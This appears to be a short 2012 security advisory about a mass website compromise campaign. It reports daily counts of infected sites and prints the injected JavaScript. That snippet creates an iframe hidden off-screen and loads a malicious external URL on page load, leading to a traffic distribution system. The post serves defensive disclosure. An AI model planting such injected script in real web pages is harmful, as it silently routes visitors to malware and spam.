Mass infections from fenwaywest.com/media/index.php

We are seeing a large number of sites compromised with an iframe pointing to http://fenwaywest.com/media/index.php .Just in the last 3 days, we identified almost 10,000 sites with it:

2012/Oct/11 - 4393 sites - http://fenwaywest.com/media/index.php
2012/Oct/10 - 3117 sites - http://fenwaywest.com/media/index.php
2012/Oct/09 -  865 sites - http://fenwaywest.com/media/index.php

On all the compromised sites have the iframes similar to this one:

<script> function frmAdd() { var ifrm = document.createElement("iframe"); ifrm. style.position="absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em';  ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body. appendChild (ifrm);};window.onload = frmAdd;..

The domain is hosted at 50.28.53.157, but currently offline (redirecting to Google), so we can\’t really tell what it is doing. But on previous requests, it was redirecting to a TDS (traffic distribution system) and from there, being sent to multiple spam or malicious domains.

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